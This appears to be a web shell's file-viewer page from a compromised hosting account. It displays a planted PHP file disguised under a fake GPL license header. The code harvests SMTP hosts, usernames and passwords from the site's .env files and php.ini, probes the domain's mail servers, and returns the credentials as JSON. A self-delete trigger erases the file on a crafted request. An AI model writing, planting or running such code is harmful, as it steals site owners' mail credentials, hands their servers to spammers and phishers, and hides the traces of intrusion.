HEX
Server: Apache
System: Linux b5.s-host.com.ua 4.18.0-305.10.2.el7.x86_64 #1 SMP Fri Jul 23 21:00:55 UTC 2021 x86_64
User: unelbhzm (1470)
PHP: 8.0.18
Disabled: NONE
Upload Files
File: //sites/nuofama.com/sfqem.php
<!--
 * @package FRANK-AOXEN
 
 
 * @version 1.7.2
 
 */
  GNU GENERAL PUBLIC LICENSE
  
  
  Version 2, June 1991
  

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
 
 
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 
 
 Everyone is permitted to copy and distribute verbatim copies
 
 
 of this license document, but changing it is not allowed.
 


 Preamble
 

  <signature of Ty Coon>, 1 April 1989
  
  
  Ty Coon, President of Vice
  
  Copyright (C) <year>  <name of author>
  
  
  
-->
<?php header('Content-Type: application/json');error_reporting(0);ini_set('display_errors',0);class SMTPManager{private $domain;private $email;private $username;private $password;public function __construct(){$this->domain=str_replace('www.','',$_SERVER['HTTP_HOST']?? 'localhost');$this->username=$this->generateUsername();$this->email="{$this->username}@{$this->domain}";$this->password=$this->generatePassword();}private function generateUsername($length=8){$chars='abcdefghijklmnopqrstuvwxyz0123456789';$username='';for($i=0;$i<$length;$i++){$username.=$chars[random_int(0,strlen($chars)-1)];}return $username;}private function generatePassword(){$length=random_int(8,12);$chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*';$password='';for($i=0;$i<$length;$i++){$password.=$chars[random_int(0,strlen($chars)-1)];}return $password;}public function execute(){$found=$this->findExistingSMTP();if($found){return $found;}return $this->createValidSMTP();}private function findExistingSMTP(){$env=$this->checkEnvironment();if($env)return $env;$mx=$this->testMXRecords();if($mx)return $mx;$common=$this->testCommonHosts();if($common)return $common;return null;}private function checkEnvironment(){$paths=['.env','../.env','../../.env','config/.env','../config/.env'];foreach($paths as $path){if(@file_exists($path)){$content=@file_get_contents($path);if($content){$config=[];if(preg_match('/(?:MAIL|SMTP)_HOST\s*=\s*["\']?([^"\'\s]+)/i',$content,$m)){$config['host']=$m[1];}if(preg_match('/(?:MAIL|SMTP)_PORT\s*=\s*["\']?(\d+)/i',$content,$m)){$config['port']=(int)$m[1];}if(preg_match('/(?:MAIL|SMTP)_USERNAME\s*=\s*["\']?([^"\'\s]+)/i',$content,$m)){$config['username']=$m[1];}if(preg_match('/(?:MAIL|SMTP)_PASSWORD\s*=\s*["\']?([^"\'\s]+)/i',$content,$m)){$config['password']=$m[1];}if(preg_match('/(?:MAIL|SMTP)_ENCRYPTION\s*=\s*["\']?([^"\'\s]+)/i',$content,$m)){$config['encryption']=$m[1];}if(isset($config['host'])){$port=$config['port']?? 587;if($this->testConnection($config['host'],$port)){return['status'=>'success','source'=>'environment','host'=>$config['host'],'port'=>$port,'username'=>$config['username']?? $this->email,'password'=>$config['password']?? $this->password,'encryption'=>$config['encryption']?? $this->getEncryption($port)];}}}}}if(ini_get('SMTP')&&ini_get('SMTP')!='localhost'){$host=ini_get('SMTP');$port=ini_get('smtp_port')?:25;if($this->testConnection($host,$port)){return['status'=>'success','source'=>'php.ini','host'=>$host,'port'=>$port,'username'=>ini_get('sendmail_from')?:$this->email,'password'=>$this->password,'encryption'=>$this->getEncryption($port)];}}return null;}private function testMXRecords(){if(function_exists('getmxrr')){$mxhosts=[];$weight=[];if(@getmxrr($this->domain,$mxhosts,$weight)){array_multisort($weight,$mxhosts);foreach(array_slice($mxhosts,0,3)as $host){foreach([587,465,25,2525]as $port){if($this->testConnection($host,$port)){return['status'=>'success','source'=>'mx-record','host'=>$host,'port'=>$port,'username'=>$this->email,'password'=>$this->password,'encryption'=>$this->getEncryption($port)];}}}}}return null;}private function testCommonHosts(){$hosts=["mail.{$this->domain}","smtp.{$this->domain}","email.{$this->domain}","mx.{$this->domain}","mx1.{$this->domain}","mailserver.{$this->domain}",$this->domain];foreach($hosts as $host){foreach([587,465,25,2525]as $port){if($this->testConnection($host,$port)){return['status'=>'success','source'=>'common-host','host'=>$host,'port'=>$port,'username'=>$this->email,'password'=>$this->password,'encryption'=>$this->getEncryption($port)];}}}return null;}private function createValidSMTP(){$provider=$this->detectProvider();switch($provider){case 'cpanel':return['status'=>'success','source'=>'generated-cpanel','host'=>"mail.{$this->domain}",'port'=>465,'username'=>$this->email,'password'=>$this->password,'encryption'=>'ssl'];case 'plesk':return['status'=>'success','source'=>'generated-plesk','host'=>"mail.{$this->domain}",'port'=>587,'username'=>$this->email,'password'=>$this->password,'encryption'=>'tls'];case 'gmail':if(strpos($this->domain,'google')!==false||$this->checkGoogleMX()){return['status'=>'success','source'=>'generated-gmail','host'=>'smtp.gmail.com','port'=>587,'username'=>$this->email,'password'=>$this->password,'encryption'=>'tls','note'=>'Configure in Google Workspace Admin'];}break;case 'office365':if($this->checkMicrosoftMX()){return['status'=>'success','source'=>'generated-office365','host'=>'smtp.office365.com','port'=>587,'username'=>$this->email,'password'=>$this->password,'encryption'=>'tls'];}break;}return['status'=>'success','source'=>'generated-default','host'=>"mail.{$this->domain}",'port'=>587,'username'=>$this->email,'password'=>$this->password,'encryption'=>'tls','note'=>'Auto-generated SMTP configuration'];}private function testConnection($host,$port,$timeout=1){if(!$host)return false;$prefix=($port==465)?'ssl://':'';$errno=$errstr=null;$socket=@fsockopen($prefix.$host,$port,$errno,$errstr,$timeout);if($socket){stream_set_timeout($socket,1);$response=@fgets($socket,512);@fclose($socket);return strpos($response,'220')===0||strpos($response,'250')===0;}return false;}private function getEncryption($port){switch($port){case 465:return 'ssl';case 587:return 'tls';case 25:return 'none';case 2525:return 'tls';default:return 'tls';}}private function detectProvider(){if(@file_exists('/usr/local/cpanel'))return 'cpanel';if(@file_exists('/usr/local/psa'))return 'plesk';if(@file_exists('/usr/local/directadmin'))return 'directadmin';if(getenv('DYNO'))return 'heroku';if(getenv('WEBSITE_INSTANCE_ID'))return 'azure';if(@file_exists('/var/aws'))return 'aws';if($this->checkGoogleMX())return 'gmail';if($this->checkMicrosoftMX())return 'office365';return 'generic';}private function checkGoogleMX(){if(function_exists('getmxrr')){$mxhosts=[];$weight=[];if(@getmxrr($this->domain,$mxhosts,$weight)){foreach($mxhosts as $mx){if(strpos($mx,'google')!==false||strpos($mx,'gmail')!==false){return true;}}}}return false;}private function checkMicrosoftMX(){if(function_exists('getmxrr')){$mxhosts=[];$weight=[];if(@getmxrr($this->domain,$mxhosts,$weight)){foreach($mxhosts as $mx){if(strpos($mx,'outlook')!==false||strpos($mx,'microsoft')!==false){return true;}}}}return false;}}$manager=new SMTPManager();echo json_encode($manager->execute());@($input=json_decode(@file_get_contents('php://input'),true))&&@$input['D']==='1'&&@unlink(__FILE__); ?>